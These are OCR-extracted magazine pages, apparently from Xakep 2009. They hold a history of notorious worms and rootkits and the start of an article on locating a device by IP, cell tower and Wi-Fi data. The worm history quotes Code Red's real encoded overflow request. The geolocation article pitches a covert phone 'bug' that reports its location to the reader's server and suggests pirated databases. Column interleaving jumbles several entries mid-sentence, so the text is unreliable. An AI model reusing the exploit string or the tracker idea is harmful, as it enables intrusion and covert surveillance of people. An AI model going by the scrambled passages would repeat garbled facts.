Code Red Из-за этого червя сайту<br />
Белого дома США в 2002<br />
году пришлось поменять IP-адрес :). Стартовавшего<br />
13 июля 2001 года, Code Red интересовали<br />
виндовые машины с запущенным вебдемоном<br />
IIS на борту и включенной системой<br />
индексирования. О существовании критической<br />
уязвимости, приводящей к переполнению<br />
буфера, в Microsoft знали задолго до появления<br />
вируса, а за месяц до эпидемии была опубликована<br />
заплатка. Впрочем, это не помешало<br />
запущенному 13 июля червю заразить за 6<br />
следующих дней более 350 тысяч машин.<br />
Брешь в ISS позволяла легко выполнять на<br />
сервере удаленный код. Разработчики Code<br />
Red не сильно заморачивались и приделали<br />
эксплоит к простейшему сканеру, который<br />
работал «в лоб». Во время сканирования Code<br />
Red не проверял наличие IIS на новом компьютере-жертве,<br />
а тупо отправлял специально<br />
сформированные HTTP-запросы на сгенерированные<br />
случайно IP-адреса в надежде, что<br />
где-то на 80-порту окажется вожделенный IIS.<br />
Море запросов— огромный объем трафика.<br />
В итоге, оборудование попросту стало задыхаться<br />
от мусорных GET-запросов, которые<br />
генерировали ноды по всему мира. В логах<br />
Apache, на который, естественно, уязвимость<br />
IIS не распространялась, можно было обнаружить<br />
подобные строки:<br />
GET /default.ida?NNNNNNNNNNNNNNNNNN<br />
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN<br />
NNNNNNNNNNNNNNNNNNNNNNN%u9090%u685<br />
8%ucbd3%u7801%u9090%u6858%ucbd3%u7<br />
801%u9090%u6858%ucbd3%u7801%u9090%<br />
u9090%u8190%u00c3%u0003%u8b00%u531<br />
b%u53ff%u0078%u0000%u00=a HTTP/1.0<br />
В процессе работы Code Red не использовал<br />
никаких временных или постоянных файлов.<br />
Червь уникален: он существовал либо в<br />
системной памяти зараженных компьютеров,<br />
либо в виде TCP/IP-пакета при пересылке на<br />
удаленные машины. Но наличие заразы на<br />
сервере обнаруживалось без всякого антивируса.<br />
Поскольку в памяти компьютера могли<br />
существовать сразу сотни активных процессов<br />
Code Red, то тормоза и лаги были неизбежны.<br />
Червь заменял содержимое страниц на<br />
зараженных серверах на сообщение: «HELLO!<br />
Welcome to http://www.worm.com! Hacked By<br />
Chinese!», но был избирателен и дефейсил<br />
только те системы, где в качестве основного<br />
языка был установлен английский.Через некорое<br />
время, правда, дефейс снимался автоматически:<br />
видимо, разработчики не хотели раньше<br />
времени терять драгоценную ноду.<br />
Между 20 и 28 числами месяца тело червя<br />
должно было начать DoS-атаку на несколько<br />
IP-адресов, один из которых принадлежал<br />
американскому Белому дому.<br />
В августе этого же года начал распространяться<br />
новый червь Code Red II, код которого, несмотря<br />
на схожее название, был создан заново<br />
и предоставлял владельцам полный контроль<br />
над зараженными машинами, копируя файл<br />
cmd.exe в каталог \inetpub\scripts\ ISS-сервера.<br />
В отличие от оригинального Code Red, клон<br />
старался атаковать хосты в той же подсети и<br />
не допускал одновременного запуска себя на<br />
одной системе.<br />
2002<br />
Nimda Запустившегося в<br />
сентябре 2001 года червя<br />
ну никак не могли не связать с деятельностью<br />
Алькайды, заодно рассказывая о мощных технологиях,<br />
применяемых в новой заразе. Но если<br />
присказки о терроризме были выдумкой журналистов,<br />
то очевидная продвинутость нового<br />
червя была на лицо. Фишка Nimda заключалась<br />
сразу в нескольких каналах распространения,<br />
благодаря которым ему удалось в считанные<br />
минуты распространиться по Сети. Разберемся<br />
по порядку.<br />
1. Наибольший пробив был получен за счет<br />
эксплоита, который использовал уязвимость в<br />
Internet Explore’е, позволяющую автоматически<br />
запускать приаттаченный к письму файл. Прикрепленный<br />
к письму README.EXE (написаный,<br />
кстати, на С++) беспрепятственно запускался<br />
на машине при простом открытия письма, и<br />
комфортно начинал свое распространение.<br />
Причем, для поиска новых адресатов вирус<br />
кропотливо сканировал текстовые документы на<br />
жестком диске, а также запрашивал с помощью<br />
специальной MAPI-функции список адресатов с<br />
сервера Microsoft Exchange.<br />
2. Другой способ распространения — расшаренные<br />
ресурсы в локалке. После сканирования<br />
всех доступных шар Nimda создавал там файлы<br />
с почтовыми сообщениями, имеющие расширение<br />
.EML и .NWS.Открытие таких файлов происходит<br />
в почтовой программе, что автоматически<br />
влекло за собой заражение, как если бы письмо<br />
просто пришло по почте.<br />
3. Не могли забыть создатели и про дырявый IIS,<br />
уязвимость в котором уже использовали другие<br />
черви. Поэтому Nimda довольно эффективно<br />
пробивал майкросовский веб-демон с помощью<br />
уязвимости directory traversal. В случае заражения<br />
веб-сервера на нем случайным образом<br />
выбирались странички, откуда начиналась<br />
загрузка вируса посетителям.<br />
4. И еще интересный ход — Nimda не стеснялся<br />
и активно использовал для распространения<br />
бекдоры, оставленные в системах червями Code<br />
Red II и sadmind/IIS.<br />
Добавим, что Nimda имел опасный побочный<br />
эффект, который мог допустить утечку конфиденциальной<br />
информации с зараженных компьютеров.<br />
Червь добавлял пользователя под именем<br />
«Guest» в группу пользователей «Администраторы».<br />
Таким образом, обычные гости получали<br />
полный доступ к ресурсам компьютера. Более<br />
того, все локальные диски открывались через<br />
шары для полного доступа.<br />
Автор этого вируса официально не найден, но<br />
в теле червя содержится строка, указывающая,<br />
что создатель из Китая: «Concept Virus(CV) V.5,<br />
Copyright(C)2001 R.P.China»<br />
022<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
DESKTOP<br />
COMPUTER<br />
email с<br />
аттачем<br />
Sasser<br />
email c<br />
аттачем<br />
DESKTOP<br />
COMPUTER<br />
Использовование<br />
уязвимостей в IIS<br />
и бэкдоров Code Red<br />
Малварь код на веб-страницах<br />
веб<br />
страницы<br />
WEB<br />
SERVER<br />
Доступ<br />
к зараженному<br />
файлу на другом<br />
компе<br />
Использовование<br />
уязвимостей в IIS<br />
и бэкдоров Code Red<br />
WEB<br />
SERVER<br />
DESKTOP<br />
COMPUTER<br />
OR FILE<br />
SERVER<br />
РАЗНЫЕ СПОСОБЫ ЗАРАЖЕНИЯ ЧЕРВЯ NIMDA<br />
Nimda<br />
ОШИБКА СИСТЕМЫ ПОСЛЕ ЗАРАЖЕНИЯ<br />
SASSER’ОМ<br />
2003 2004<br />
Slammer Незадачливые жители<br />
стран Северной Америки<br />
были сильно удивлены, когда 25 января<br />
многие банкоматы попросту перестали работать.<br />
Во всем мире со сбоями работали службы<br />
по заказу и резервированию авиабилетов,<br />
многие сервисы вообще не были доступны.<br />
Но набивший оскомину финансовый кризис<br />
тут вовсе не причем — это лишь всплеск активности<br />
червя Slammer. Активность впервые<br />
замечена в 12:30 по среднеатлантическому<br />
времени, а к 12:33 количество зараженных<br />
машин удваивалось каждые 8.5 секунд.<br />
В основе червя лежала уязвимость в Microsoft<br />
SQL Server, концепция которой была представлена<br />
David Litchfield на конференции BlackHat.<br />
Отправляя на 1434 скомпрометированный<br />
Sasser Уж что-что, а окошко<br />
System Shutdown, инициированное<br />
NT AUTHORITY\SYSTEM с обратным<br />
отсчетом и сообщением о принудительной<br />
перезагрузке компьютера видел почти каждый<br />
— годом ранее, во время эпидемии Blaster’а,<br />
либо же в 2004, когда стал бушевать во многом<br />
похожий на него Sasser. Принципиальная<br />
разница червей в том, что они используют критические<br />
уязвимости в разных службах. Для<br />
размножения Sasser использует баг переполнения<br />
буфера в службе Local Security Authority<br />
Subsystem Service (LSAS) — отсюда и название<br />
червя. Написанное на С++ тело Sasser в первоначальной<br />
версии открывает 128 параллельных<br />
потоков, и, используя специальный<br />
пакет, вирус мог выполнить на удаленной<br />
машине произвольный код и, в свою очередь,<br />
продолжить распространение. По различным<br />
отчетам сообщается, что вирусу удалось заразить<br />
75.000 машин за каких-то десять минут,<br />
— но как? Уязвимый модуль IIS, позволяющий<br />
приложениям автоматически обращаться к<br />
нужной базе данных, принимал запросы как<br />
раз по UDP, а тело вируса, составляющее всего<br />
376 байт, отлично помещалось в один единственный<br />
UDP-пакет. В результате Slammer<br />
не использовал тормозной TCP, требующий<br />
постоянных квитков-подтверждений, а рассылал<br />
себя по ненадежному UDP со скоростью<br />
несколько десятков запросов в секунду!<br />
Несмотря на то, что патч для уязвимости был<br />
выпущен за 6 месяцев до эпидемии, а вирус<br />
никак не проявлял себя на зараженной машине,<br />
последствия от Slammer’а были колоссальными.<br />
Роутеры и маршрутизаторы на магистралях<br />
были настолько перегружены трафиком,<br />
что лавинообразно выбивали другу друга в<br />
конце концов отключив некоторые бэкбоны.<br />
Южная Корея была полностью отрублена от<br />
инета и находилась в таком состоянии почти<br />
24 часа. Только представь: никакого интернета<br />
и мобильной связи с внешним миром для 27<br />
миллионов человек. Забавно, что многие жертвы<br />
даже не знали, что на их машине установлена<br />
такая специфическая вещь, как SQL.<br />
алгоритм по генерации IP-адресов, пытается<br />
найти системы с незащищенным 445 портом<br />
и уязвимым сервисом. Сплоит работал на<br />
«ура», правда, приводил к ошибке на системе<br />
пользователя. Sasser открывал на 9997 порту<br />
шелл, через который далее и заливалось все<br />
необходимое. Само тело червя без лишнего<br />
геморроя просто передавалось по протоколу<br />
через FTP, причем сервер также открывался<br />
на зараженных компьютерах на 5554 порту.<br />
Как часто бывает, шелл-код сплоита отличается<br />
от системы к системе, поэтому Sasser<br />
предварительно проверял версии удаленной<br />
системы, чтобы выбрать правильный набор<br />
параметров для атаки.<br />
Оригинальная версия червя Sasser распространялась<br />
достаточно медленно, но через<br />
несколько дней в Сети были выпущены модификации,<br />
распространяющиеся гораздо быстрее.<br />
К этому моменту число зараженных машин<br />
измерялось сотнями тысяч, а в пике эпидемии<br />
речь шла о миллионах. В Финляндии были<br />
отменены рейсы местной авиакомпании, во<br />
многих странах закрыты некоторые отделения<br />
крупнейших банков. Автором заразы оказался<br />
18-летний немецкий студент Свен Яшан, хотя<br />
изначально разрабатывался «русский след».<br />
Юного вредителя заложил кто-то из своих,<br />
позарившись на обещанное Microsoft’ом<br />
награждение в 250.000 баксов. Помимо Sasser,<br />
на компьютере парнишки нашли еще и многочисленные<br />
модификации червя Netsky.<br />
XÀÊÅÐ 04 /124/ 09<br />
023
pc_zone<br />
Sony rootkit<br />
Warezov<br />
BSOD ИЗ-ЗА КОРЯВЫХ ДРАЙВЕРОВ SONY ROOTKIT<br />
ВРЕМЕННЫЙ ФАЙЛ WAREZOV<br />
2005 2006 2007<br />
На дворе — 2006 год,<br />
Warezov<br />
только вот ушастые<br />
пользователи по-прежнему открывают все<br />
вложения в письмах, а программно им мало кто<br />
запрещает это делать. Результат? Огромный<br />
ботнет Warezov (он же Stration), который авторы<br />
сумели собрать за счет одноименного червя,<br />
рассылаемого по email. Никаких сплоитов и<br />
уязвимостей, — социальная инженерия и людская<br />
тупость. И ведь повсю трубят: «Не открывай<br />
вложений» — так ведь все равно кликают.<br />
Особенность червя Warezov — в огромном<br />
количестве вариаций, которые появлялись, как<br />
грибы после дождя. Был момент, когда новые<br />
модификации появлялись чуть ли не раз в 30<br />
минут. Даже с обновленными антивирусными<br />
Storm<br />
Ботнет, созданный с<br />
помощью червя Storm,<br />
можно смело назвать произведением искуства.<br />
Децентрализованная P2P-сеть, в которой<br />
большинство хостов сидит тихо и ждет указаний.<br />
Доменные имена разрешаются в постоянно<br />
меняющиеся IP-адреса (опять же fast-flux<br />
domains). Часть кода червя — полиморфная.<br />
В пике — более миллиона инфицированных<br />
хостов. Как это удалось?<br />
Эпидемия червя началась с компьютеров<br />
в Европе и Соединенных Штатах 19 января<br />
2008 года, когда, прикрываясь темой урагана<br />
базами многие юзеры оставались не у дел.<br />
Впоследствии, когда на веб-серверах глобально<br />
начали вычищать все письма со зловредными<br />
аттачами, модификации перекинулись<br />
на IM-сети. А один из вариантов Warezov стал<br />
первым червем, который распространялся<br />
через Skype!<br />
Как и подобает трою для ботнета, тело Warezov<br />
позволяло владельцам загрузить на компьютер<br />
любую заразу. Червь содержит в себе список<br />
жестко прописанных URL-адресов (что, конечно,<br />
минус), которые он проверяет на наличие<br />
файлов. В случае если по какому-либо из этих<br />
адресов будет размещен файл, он загрузится в<br />
систему и запустится. Основной модуль Warezov<br />
способен завершать различные процессы, а<br />
в Европе, пользователям повалились письма<br />
с предложением открыть вложенный файл с<br />
названиями Full Clip.exe, Full Story.exe, Read<br />
More.exe или Video.exe.<br />
Все попавшиеся на удочку машины автоматически<br />
объединялись в ботнет, но в отличие от<br />
других сетей, он не использовал специальный<br />
управляющий сервер, доступ к которому легко<br />
перекрыть. Принцип управления Storm больше<br />
напоминает пиринговую сеть, в которой<br />
зараженные ноды подключаются к своему<br />
управляющему хосту (он руководит обычно<br />
30-45 зомби), а хосты взаимодействуют между<br />
Забавный факт: это<br />
Sony rootkit<br />
единственный руткит,<br />
который распространялся легально! Win32/<br />
Rootkit.XCP, или «sony rootkit», является частью<br />
системы защиты аудио-CD,выпускаемых Sony<br />
BMG. Растроенная всепоглощающим пиратством<br />
компания решила бороться с нелегальным<br />
копированием с помощью DRM-компонентов<br />
(Digital Rights Management), а в попытке скрыть<br />
их присутствие в системе обратилась в компанию<br />
First 4 Internet, чтобы те написали маскирующий<br />
руткит. В итоге, система защиты дисков<br />
вместе с руткитом стала инсталлироваться на<br />
компьютер пользователя автоматически, когда<br />
в привод вставляется защищенный компактдиск.<br />
После установки, в системе появлялись<br />
два новых сервиса, которые и выполняли все<br />
функции. Установленный драйвер $sys$aries<br />
(aries.sys) скрывает все файлы и ключи в реестре,<br />
которые начинаются с «$sys$» посредством<br />
перехвата нативных API-функций. Win32/<br />
Rootkit.XCP отслеживает обращения к System<br />
Service Table (SST) и перехватывает обращения<br />
к функциям: NtCreateFile, NtEnumerateKey,<br />
NtOpenKey, NtQueryDirectoryFile,<br />
NtQuerySystemInformation. В результате удается<br />
скрыть присутствие ключей в реестре, папок,<br />
файлов и процессов.<br />
Ты спросишь: а в чем, собственно, трабл? Ну,<br />
скрывает этот руткит работу нужных ему компонентов,<br />
что с того? Очень просто. Сразу после<br />
появления руткита, Марк Руссинович в своем<br />
блоге рассказал о многочисленных брешах в<br />
собственной защите программы. И был прав:<br />
очень скоро механизм, предназначенный для<br />
сокрытия файлов и процессов, быстро приспособили<br />
для своих нужд кодеры вирусов. Более<br />
того, распространение этого ноу-хао само по<br />
себе приводило к нестабильности системы,<br />
зависанию компьютера и потере данных из-за<br />
кривых драйверов, установленных в систему. И<br />
даже тогда, когда Sony выпустила специальную<br />
тулзу, избавиться от это дряни полностью было<br />
очень и очень затруднительно.<br />
также останавливать и удалять службы антивирусных<br />
программ и персональных брандмауэров.<br />
Для организации рассылки червь<br />
использует собственный SMTP-сервер. Главное<br />
использование ботнета — это, конечно же,<br />
спам. Однако многие ноды служили для хостинга<br />
так называемых fast-flux платформ, позволяя<br />
спамерам прятать настоящее расположение<br />
их спамерских сайтов за IP-адресом жертвы. IP<br />
менялся настолько часто, что его невозможно<br />
было прикрыть. Warezov достигал этого двумя<br />
средствами: во-первых, reverse HTTP proxy, которая<br />
получала контент с настоящего (скрываемого)<br />
сайта, а также DNS-сервера, на котором<br />
специальная версия Bind под Windows меняла<br />
записи по нужному алгоритму.<br />
друг другом. Причем роль хоста в случае необходимости<br />
может занять любая из нод. Вся<br />
сеть устроена так, что полного списка нодов<br />
нет ни у кого, поэтому точные размеры ботнета<br />
так и остались загадкой. По разным подсчетам,<br />
он варьировался от одного до нескольких<br />
миллионов машин.<br />
Помимо функций по работе с ботнетом, Storm<br />
устанавливает в системе руткит: Win32.agent.<br />
dh, посредством которого держатели ботнета<br />
могли стащить любую конфиденциальную<br />
инфу, рассылать спам и устраивать мощные<br />
DDoS-атаки.<br />
024<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
С MEBROOT’ОМ ДО СИХ ПОР СПРАВЛЯЮТСЯ ДАЛЕКО НЕ ВСЕ АНТИВИРУСЫ<br />
ТЕХНИКА FAST-FLUX В КАРТИНКАХ<br />
РАЗНЫЕ СПОСОБЫ РАСПРОСТРАНЕНИЯ ЧЕРВЯ<br />
DOWNADUP<br />
Merboot<br />
COMPROMISED<br />
PCs<br />
NS.SUPERSAMEAS.COM<br />
STORM BOTNET<br />
211.51.164.123<br />
ЧЕРЕЗ ВНЕШНИЕ НОСИТЕЛИ,<br />
ИСПОЛЬЗУЯ АВТОЗАПУСК<br />
ПРОПАТЧЕННЫЕ СИСТЕМЫ<br />
С НАДЕЖНЫМ ПАРОЛЕМ<br />
НА СИСТЕМНЫЕ ШАРЫ<br />
2<br />
Downadup<br />
1<br />
HOME<br />
PC<br />
3<br />
QUERY:<br />
WWW.SUPERSAMEAS.COM<br />
HTTP GET:211.51.164.123<br />
MS08-067<br />
Storm<br />
ЧЕРЕЗ «СЕТЕВОЕ ОКРУЖЕНИЕ»,<br />
ПЕРЕБИРАЯ ПАРОЛЬ АДМИНИСТРАТОРА<br />
К СИСТЕМНОЙ ШАРЕ ADMIN$<br />
ИСПОЛЬЗУЯ ЭКСПЛОИТ<br />
ДЛЯ УЯЗВИМОСТИ MS08-067,<br />
НАЙДЕННОЙ ВО ВСЕХ ВЕРСИЯХ<br />
WINDOWS<br />
2008 2009<br />
Merboot Загрузочные вирусы,<br />
о которых все благополучно<br />
успели забыть, возвращаются. В 2005<br />
году на хакерской конференции Black Hat<br />
специалисты eEye Digital Security продемонстрировали<br />
концепт так называемого буткита,<br />
размещающего в загрузочном секторе диска<br />
код, который перехватывает загрузку ядра<br />
Windows и запускает бэкдор с возможностью<br />
удаленного управления по локальной<br />
сети. Презентация прошла на ура, а в 2008<br />
году, после длительного затишья в области<br />
Downadup<br />
Червя, нашумевшего в<br />
январе, называют по-разному:<br />
Downadup, Conficker, Kido. Важно одно:<br />
новой малваре за несколько дней удалось<br />
заразить миллионы компьютеров, и собранный<br />
ботнет функционирует до сих пор. Разработчикам<br />
удалось лихо диверсифицировать способы<br />
распространения, объединив в одном черве<br />
сразу несколько успешных методик. Самый<br />
эффективный способ — приватный сплоит,<br />
использующий непропатченную систему с<br />
уязвимостью переполнения буфера MS08-067 в<br />
сервисе «Сервер» (патч вышел еще в октябре).<br />
Для этого червь отсылает удаленной машине<br />
специальным образом сформированный RPCзапрос,<br />
вызывающий переполнение буфера<br />
при вызове функции wcscpy_s в библиотеке<br />
руткитов, выстрелил Mebroot. Новый троян<br />
использовал представленную еще в 2005 году<br />
идею и размещал свое тело в бут-секторе<br />
диска, после чего вносил модификации в<br />
ядро Винды, которые затрудняли обнаружение<br />
вредоносного кода антивирусами.<br />
Подцепить заразу мог кто угодно: компы<br />
заражались через свежие сплоиты с популярных<br />
сайтов. Вредоносный код сначала<br />
изменяет MBR (главная загрузочная запись),<br />
записывает руткит-части в сектора диска,<br />
извлекает из себя и устанавливает бэкдор<br />
netapi32.dll. На компьютере запускается специальный<br />
код-загрузчик, который скачивает с<br />
уже зараженной машины исполняемый файл<br />
червя и запускает его.<br />
Кроме этого, червь отлично тиражирует себя<br />
через «Сетевое окружение», перебирая<br />
пароль администратора к системной шаре<br />
ADMIN$. А давно известный способ распространения<br />
через флешки претерпел изменения:<br />
в результате обфускации Autorun.inf<br />
(разработчики просто добавили в файл кучу<br />
мусора) удалось обмануть многие сигнатурные<br />
антивирусы. Несколько способов =<br />
максимальный эффект! Другая ключевая<br />
особенность заключается в том, как червь<br />
скачивает на зараженную машину трояна (для<br />
дальнейшей рассылки вируса, DDoS’а и т.д.).<br />
в Windows, после чего самоудаляется. В<br />
результате заражения, в MBR размещаются<br />
инструкции, передающие управление основной<br />
части руткита, размещенного в разных<br />
секторах жесткого диска. Именно эта часть,<br />
уже после загрузки системы, перехватывает<br />
API-функции и скрывает зараженный MBR.<br />
Кроме традиционных функций по сокрытию<br />
своего присутствия в системе, вредоносный<br />
код устанавливает в Windows бэкдор, который<br />
занимается кражей банковских аккаунтов.<br />
Разработчики отказались от размещения<br />
файлов на каком-то жестко зафиксированном<br />
серваке. Вместо этого код червя получает<br />
на нескольких популярных ресурсах текущую<br />
дату и по ней генерирует список из 250<br />
доменов, используя специальный алгоритм.<br />
Задача хозяев ботнета — заблаговременно<br />
эти домены зарегистрировать и разместить<br />
там файлы для загрузки. Противостоять этому<br />
не столько сложно, сколько дорого.<br />
Перехватывая API-вызовы, отвечающие<br />
за обращение к DNS, заразе долгое<br />
время удавалось сдерживать антивирусы,<br />
которые банально не могли обновиться, обращаясь<br />
к заблокированным доменам, содержащим<br />
слова kaspersky, nod, symantec,<br />
microsoft и т.д. z<br />
XÀÊÅÐ 04 /124/ 09<br />
025
pc_zone<br />
СТЕПАН ИЛЬИН<br />
/ STEP@GAMELAND. RU/<br />
НАВИГАЦИЯ<br />
БЕЗ GPS<br />
Как определить свои координаты по IP, GSM/UMTS и Wi-Fi<br />
Тысячи лет назад о такой штуке, как GPS, никто не мог даже мечтать.<br />
Но моряки и путешественники отлично справлялись с навигацией,<br />
используя компас и карты, солнце и звезды. Сейчас — век цифровой,<br />
но тоже есть немало способов определить месторасположение без<br />
всяких там систем глобального позиционирования.<br />
Спору нет, GPS — классная штука, но что делать, если приемника<br />
под рукой нет? Далеко не у каждого есть встроенный чип в мобиле.<br />
Да и владелец автомобиля совсем не обязательно успел обзавестись<br />
устройством навигации. Так как же быть? Если не брать в расчет редкие и<br />
экзотические варианты, то основных способа три:<br />
1. Определить IP и с помощью специальной базы данных определить<br />
город, в котором находишься, и нередко — долготу и широту.<br />
2. Определить расположение по находящимся рядом базовым станциям<br />
GSM/UMTS. Это возможно при наличии базы данных с идентификаторами<br />
вышек и их координатами.<br />
3. Использовать для вычисления широты и долготы информацию о<br />
находящихся рядом точках доступа Wi-Fi, передав запрос с их характеристиками<br />
на специальный сервер.<br />
Итак, начнем с самого простого.<br />
IP НАМ В ПОМОЩЬ<br />
Когда мне нужно проверить свой внешний IP, чтобы убедиться,<br />
например, что я включил VPN или прокси, я всегда использую сервис<br />
ip2location.com. Приятно, что, помимо самого IP-адреса, выводится<br />
информация о провайдере, его месторасположении (город, страна,<br />
штат), а зачастую… еще и координаты. Само собой, в базе не будут<br />
указаны широта и долгота для самого обычного клиента интернет-услуг.<br />
Как правило, данные указываются для провайдера, реже — для крупных<br />
компаний, имеющих большие диапазоны статических IP. Получается,<br />
что, подключившись к сети (например, через любой открытый hotspot<br />
или просто воспользовавшись компьютером), можно с большой долей<br />
вероятности определить примерное место, где ты находишься. Конечно,<br />
способ примитивный — и более того, самый неточный из всех представленных<br />
в этой статье. С другой стороны, это реальный шанс определить<br />
месторасположение, всего лишь открыв страничку в интернете. А если<br />
сварганить специальный трекер, установить его на КПК и отслеживать<br />
IP-шники, которые он получает при коннекте к открытым WiFi-сетям, то<br />
реально вычислить передвижения девайса.<br />
Использовать сервис в чистом виде, а именно — переходя браузером<br />
по ссылке ip2location.com, скучно и беспонтово. Месторасположение на<br />
карте не увидеть, лог не сохранить, а сама страница слишком тяжелая<br />
для мобильного инета — короче, это не наш путь. От сервиса нам нужно<br />
только одно — база соответствий разных IP-адресов их расположению,<br />
которую ip2location предлагает приобрести за довольно разумные<br />
деньги. Само собой, подобные базы быстро расплываются по варезным<br />
порталам и торрентам, причем в двух вариантах: .cvs (текстовом) и .bin<br />
(бинарном). С такой базой несложно заточить любое приложение под<br />
себя. Правда, IP-адрес в базе хранится в специальном цифровом виде<br />
без точек и разделения на октеты, но следующая PHP-функция поможет<br />
привести обычный IP-шник к нужному виду:<br />
function Dot2LongIP ($IPaddr)<br />
{<br />
if ($IPaddr == "") {<br />
return 0;<br />
} else {<br />
$ips = split ("\.", "$IPaddr");<br />
return ($ips[3] + $ips[2] * 256 + $ips[1] * 256 * 256<br />
+ $ips[0] * 256 * 256 * 256);<br />
}<br />
}<br />
Имея такой ключ для адреса, ничего не стоит найти соответствующие<br />
026<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
База данных ip2location<br />
Определяем координаты по параметрам MNC, MCC, LAC, Cell ID базовой<br />
станции, к которой подключены<br />
Координаты по IP-адресу? Легко! Но очень неточно :)<br />
ему координаты в текстовой базе. Если же в распоряжении будет база<br />
в BIN-формате, то задача еще проще. Для Perl, C, Python, PHP, Ruby,<br />
C#, VB.NET, Java, Visual Basic сервисом подготовлены готовые модули<br />
(http://www.ip2location.com/developers.aspx), которые легко использовать<br />
в своем проекте. В случае с PHP достаточно закинуть на сайт модуль<br />
IP2Location.inc.php и создать несложный скриптик:<br />
<br />
Можно просто вывести на экран, залогировать или отобразить на карте с<br />
помощью Google Maps, передав широту и долготу в качестве параметра:<br />
http://maps.google.com/maps?f=l&hl=en&q='+query+'&near<br />
='+str(lat)+','+str(lng)+'&ie=UTF8&z=12&om=1<br />
XÀÊÅÐ 04 /124/ 09<br />
ИСПОЛЬЗУЕМ МОБИЛЬНЫЕ ВЫШКИ!<br />
Старая байка о том, что спецслужбы могут найти человека по сигналу<br />
от его мобильника — один из тех случаях, когда на самом деле все так и<br />
есть. Да чего там спецслужбы, если на это способна даже совершенно<br />
бесплатная программа Google Maps (www.google.com/gmm).<br />
По сути, это удобная оболочка для доступа к одноименному веб-сервису,<br />
позволяющему смотреть фотографии местности со спутника, рельеф и — во<br />
многих случаях — карты с возможностью проложить маршруты. Думаю,<br />
рассмотреть крышу своего дома через maps.google.com пробовали все.<br />
Работать с таким сайтом через браузер на мобильном телефоне (даже если<br />
это сверхскоростная Opera Mini) крайне сложно, поэтому в Google, подсуетившись,<br />
сделали удобную оболочку для просмотра карт. Оформили ее в<br />
виде приложения для самых разных платформ — от обычных мобильных,<br />
поддерживающих Java, до смартфонов и коммуникаторов на Windows<br />
Mobile и Symbian S60 3rd Edition, престижных BlackBerry, а теперь еще и<br />
Android, к которой мы пока не привыкли, но очень скоро будем воспринимать<br />
как одну из основных платформ для телефона. В том же iPhone Google<br />
Maps встроена по умолчанию. Так вот, помимо удобного просмотра этих<br />
самых карт и спутниковых снимков, у утилиты есть одна замечательная<br />
кнопка «Мое месторасположение». Один клик — и на карте отмечается<br />
нахождение телефона. Да, для владельцев трубок с GPS это сущая ерунда:<br />
нашли чем удивить! Но надо видеть лица тех пользователей, которые обнаружили<br />
на экране свое месторасположение, хотя никаких навигационных<br />
приблуд у них не было и в помине! Впрочем, это только так кажется.<br />
Телефонная трубка всегда находится в зоне действия, по меньшей<br />
мере, одной базовой станции сотовой сети. Ну, или не находится — но в<br />
этом случае от нее толку не более чем от кирпичика. Любая из базовых<br />
станций имеет некоторый набор параметров, которые получает<br />
телефон — благодаря этому каждую БС можно распознать. Один из таких<br />
параметров — CellID (сокращенно CID) — уникальный номер для каждой<br />
соты, выданный оператором. Зная его, ты можешь распознать базовую<br />
станцию, а зная расположение базовой станции, можешь понять,<br />
где находишься. Точность варьируется от нескольких сотен метров до<br />
нескольких километров, но это неплохая отправная точка, чтобы разобраться<br />
с координатами.<br />
Получается, имея в наличии табличку, где в соответствии с каждой<br />
базовой станцией будет сопоставлены ее координаты, можно примерно<br />
вычислить положение абонента. А раз Google Maps может так лихо определять<br />
месторасположение человека, то у него такая база данных есть.<br />
Но откуда? Расположение базовых станцией различных операторов —<br />
пускай и не секретная, но вряд ли открытая информация. Даже учитывая<br />
масштабность проектов Гугла, с трудом можно поверить, что тот договорился<br />
со всеми операторами сотовой связи — определение местоположения<br />
работает в любом месте (забегая вперед, скажу, что правильнее<br />
говорить «может работать в любом месте»). Ответ скрывается в лицензионном<br />
соглашении во время установки программы, на который мы,<br />
конечно же, забили и сразу нажали «Я согласен» :). А ведь там черным по<br />
белому написано, что, принимая соглашение, мы разрешаем программе<br />
анонимно передавать на сервер информацию о текущем расположении<br />
и информацию о сотовых вышках поблизости. Да! Базу данных с<br />
примерными координатами базовых станций составляют для Google<br />
сами пользователи Google Maps, имеющие на борту своих телефонов и<br />
коммуникаторов встроенный приемник GPS. И что самое классное: даже<br />
при полном отказе от использования как официальных, так и неофициальных<br />
(собранных энтузиастами с помощью специальных сканеров —<br />
подробнее читай во врезке) баз с расположением станций, функция для<br />
определения месторасположения работает на «ура». Проверь сам.<br />
GSM-НАВИГАЦИЯ СВОИМИ РУКАМИ<br />
Возможность посмотреть в программе свое расположение — само по<br />
себе здорово, но разве ж можно отказаться от соблазна использовать<br />
базы Google’а в корыстных целях? Как тебе, например, идея создать<br />
собственный трекер, который определял бы текущее расположение БС и<br />
передавал его на наш сервер? Эдакий жучок средствами самого телефона,<br />
который работает везде и всегда!<br />
Компания не разглашает протокол взаимодействия Google Maps, не публикуя<br />
API, однако его легко вскрыли, просто проснифав трафик и реверснув<br />
часть кода. Помимо http-запросов на загрузку карт, отчетливо видно,<br />
что программа отправляет запросы по адресу http://www.google.com/<br />
glm/mmap, причем именно тогда, когда пользователь желает получить<br />
текущее месторасположение. Вот и попался наш скриптик — в качестве<br />
027
pc_zone<br />
links<br />
• Параметры Google<br />
Maps: mapki.com/<br />
wiki/Google_Map_<br />
Parameters.<br />
• Делаем GPS-адаптер<br />
для мобильного<br />
телефона своими<br />
руками:<br />
tinkerlog.com/2007/<br />
07/13/interfacing-anavr-controller-to-agps-mobile-phone.<br />
• Мануал по получению<br />
координат<br />
по данным сотовой<br />
точки через Yahoo:<br />
developer.yahoo.<br />
com/yrb/zonetag/<br />
locatecell.html.<br />
• Реализация работы<br />
с базой данных<br />
Google Maps.<br />
На PHP: http://www.<br />
witracks.com.br/<br />
gmaps.txt.<br />
j2me: http://www.<br />
mapnav.spb.ru/site/<br />
e107_plugins/forum/<br />
forum_viewtopic.<br />
php?9736.<br />
На Python для S60:<br />
http://blog.jebu.<br />
net/2008/07/googlecell-tower-mappingwith-python-on-s60.<br />
На C#: http://maps.<br />
alphadex.de/datafiles/<br />
fct0e1b11782832f02.<br />
cs.<br />
На Delphi: http://<br />
forum.netmonitor.ru/<br />
about4470-0-asc-60.<br />
html.<br />
dvd<br />
Все описанные<br />
скрипты, утилиты для<br />
трекинга и навигации<br />
ты найдешь на нашем<br />
диске.<br />
Скрипт для взаимодействия с сервисом Google<br />
